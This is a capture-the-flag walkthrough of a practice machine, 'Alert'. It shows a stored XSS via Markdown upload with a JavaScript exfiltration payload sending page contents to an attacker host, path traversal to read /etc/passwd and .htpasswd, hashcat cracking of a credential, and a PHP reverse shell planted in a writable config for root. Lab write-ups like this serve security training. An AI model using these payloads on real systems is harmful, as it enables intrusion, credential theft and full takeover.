Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Besides the SSH port there’s only HTTP on port 80 with a redirect to alert.htb
, so I’ll add this domain to my /etc/hosts
file.
Initial Access
Browsing to the web page shows an upload form for Markdown
files. There’s also a contact form when going to Contact Us that takes an email address and a message. Sending anything that resembles a link via the form provokes a callback.
Fuzzing for additional web pages with ffuf reveals messages
. Accessing it through /index.php?page=messages
or /messages.php
just shows a blank page. There are probably some kind of access restrictions in place.
$ ffuf -u "http://alert.htb/index.php?page=FUZZ" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
-fs 690
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://alert.htb/index.php?page=FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 690
________________________________________________
about [Status: 200, Size: 1046, Words: 187, Lines: 24, Duration: 25ms]
contact [Status: 200, Size: 1000, Words: 191, Lines: 29, Duration: 927ms]
messages [Status: 200, Size: 661, Words: 123, Lines: 25, Duration: 31ms]
donate [Status: 200, Size: 1116, Words: 292, Lines: 29, Duration: 42ms]
alert [Status: 200, Size: 966, Words: 201, Lines: 29, Duration: 41ms]
Since Markdown files can also contain Javascript I prepare a simple file for the upload.
### Hello World
<script src='http://10.10.10.10/xss.js'>
</script>
After uploading the file, the contents are displayed on the page and I get a callback from my own browser. Additionally there’s a share functionality that returns a link to my uploaded file, turning this into a stored XSS.
I’ll place a simple Javascript payload into xss.js
that fetches the contents of the messages
page and exfiltrates it as base64 encoded string to my web server.
function exfil(data) {
const e = new XMLHttpRequest();
e.open("GET", "http://10.10.10.10/?callback=" + btoa(data));
e.send();
}
const xhr = new XMLHttpRequest();
xhr.open("GET", "/messages.php", false);
xhr.send();
exfil(xhr.responseText);
Through the contact form I send the link to my uploaded Markdown file and receive a callback with the encoded contents of /messages.php
. This time it’s not empty and contains some HTML.
<h1>Messages</h1>
<ul>
<li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a>
</li>
</ul>
As this looks like it’s retrieving a text file from disk, I check for path traversal next. Therefore I quickly modify xss.js
to retrieve /messages.php?file=../../../../../../../../../etc/passwd
instead and re-send the link to my Markdown file to the target. This returns the contents of the passwd
file and reveals albert
and david
as possible users.
root:x:0:0:root:/root:/bin/bash
--- SNIP ---
albert:x:1000:1000:albert:/home/albert:/bin/bash
david:x:1001:1002:,,,:/home/david:/bin/bash
Next I’ll exfiltrate the contents of /etc/apache2/sites-available/000-default.conf
to have a look at the configuration of the web server. This uncovers another subdomain called statistics
that is secured by basic authentication.
<VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Retrieving the contents of the .htpasswd
file reveals a hash for the user albert
.
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
This hash cracks after a few seconds with hashcat
in mode 1600
and using --user
since the file contains the username alongside the hash.
$ hashcat --user -m 1600 htpasswd /usr/share/wordlists/rockyou.txt
--- SNIP ---
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
--- SNIP ---
With albert:manchesterunited
I am able to login via SSH and collect the first flag.
Privilege Escalation
The user albert
is not allowed to run sudo but is part of the management
group, so I’ll check if there are any interesting files owned by this group.
$ find / -group management 2>/dev/null
/opt/website-monitor/config
/opt/website-monitor/config/configuration.php
The search finds one file called configuration.php
that is owned by user root
but group-writeable by the management
group. Since the configuration is loaded upon calling the scripts in the parent directory, I’ll add my reverse shell there.
<?php
define('PATH', '/opt/website-monitor');
$sock=fsockopen("10.10.10.10",9001);system("sh <&3 >&3 2>&3");
?>
After waiting a few moments there’s a callback on my listener as root
, allowing me to read the final flag.
Attack Path
flowchart TD subgraph "Initial Access" A(Markdown Viewer) -->|File Upload| B(Stored XSS) B -->|Local File Read| C(Read Files on server) C --> D(Contents of .htpasswd) D -->|Hashcat| E(Password for user albert) end subgraph "Privilege Escalation" E -->|Membership in management| F(Writeable PHP config file) F -->|Reverse Shell| G(Shell as root) end